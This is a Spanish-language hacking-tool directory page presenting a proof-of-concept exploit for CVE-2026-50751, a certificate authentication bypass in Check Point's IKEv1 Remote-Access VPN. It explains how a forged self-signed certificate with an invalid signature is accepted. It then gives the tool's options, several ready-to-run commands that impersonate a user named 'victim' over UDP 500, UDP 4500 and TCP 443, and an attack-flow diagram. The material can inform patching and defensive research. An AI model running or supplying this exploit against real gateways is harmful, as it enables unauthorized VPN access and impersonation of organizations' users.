Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-50751 — Bypass de autenticación por certificado en la VPN Remote-Access de Check Point (IKEv1). | Kitploit
Herramientas/GitHubGitHub/ull0a/cve-2026-50751
Exploit FrameworksVulnerability AnalysisExploitationNetwork SecurityCryptographyPenetration TestingAuthenticationRed TeamingRemote Access Tool
GitHubull0a/cve-2026-50751

CVE-2026-50751

Bypass de autenticación por certificado en la VPN Remote-Access de Check Point (IKEv1).

12hace 7h 43mAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-50751 — PoC

Bypass de autenticación por certificado en la VPN Remote-Access de Check Point (IKEv1).

Descripción

CVE-2026-50751 es un bypass de autenticación en el demonio iked de Check Point, presente en las versiones R81.10, R82 y R82.10 sin el hotfix sk185033. El fallo permite autenticarse como cualquier usuario de Remote Access provisionado sin clave privada, sin contraseña y sin certificado válido.

El iked vulnerable lee un flag desde el Vendor ID VPNExtFeatures (bit 0x4) y, si está activado, omite verify_peer_auth / verifyMessagePhase1. Como consecuencia:

No se verifica la firma del certificado (prueba de posesión).

No se verifica la cadena de confianza.

Solo se comprueba que el subject DN resuelva a un usuario provisionado.

Basta con forjar un certificado autofirmado cuyo CN= coincida con el usuario objetivo y enviarlo con una firma inválida. Si el gateway acepta la fase 1, hemos quedado autenticados como ese usuario (la SA ISAKMP se guarda bajo su DN).

Funciona sobre IKE (UDP 500/4500) y sobre Visitor Mode (TCPT, TCP 443).

Uso

Sintaxis

root@kitploit:~
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]

Opciones

FlagDescripciónDefecto
-hostIP o hostname del gateway (obligatorio)—
-userUsername RA a suplantar (obligatorio)—
-portPuerto: 500, 4500 (UDP) o 443 (TCPT)500
-orgOrganización (O=) de la ICA. Si se omite, se deriva del cert TLS—
-ouUnidad organizativa (OU=) del usuariousers
-timeoutTimeout por operación6s
-retriesReintentos de msg11
-vSalida verbosafalse

Ejemplos

Ataque básico por UDP/500

root@kitploit:~
sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim -v

Visitor Mode TCPT/443

root@kitploit:~
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -v

Forzando la organización en lugar de derivarla

root@kitploit:~
./cve-2026-50751 -host 203.0.113.10 -user victim -org "ACME Corp" -ou vpn -v

Sobre NAT-T (UDP/4500)

root@kitploit:~
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -v

Flujo del ataque

root@kitploit:~
Atacante                                             Gateway (iked vulnerable)
   │                                                          │
   │─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
   │                                                          │  Lee flag 0x4
   │                                                          │  Marca verify_peer_auth = skip
   │◀── msg2: SA aceptado ────────────────────────────────────│
   │                                                          │
   │─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
   │◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
   │                                                          │
   │  Deriva SKEYID, SKEYID_e, IV                             │
   │                                                          │
   │─── msg5 (cifrado): ID=DN forjado + CERT autofirmado     │
   │                    + firma aleatoria ───────────────────▶│
   │                                                          │  Omite verificación
   │                                                          │  de firma
   │                                                          │  Resuelve DN → usuario
   │◀── msg6 (cifrado): SA establecida ───────────────────────│
   │                                                          │
   │  Descifra msg6 con SKEYID_e → prueba de autenticación    │

Descargar herramienta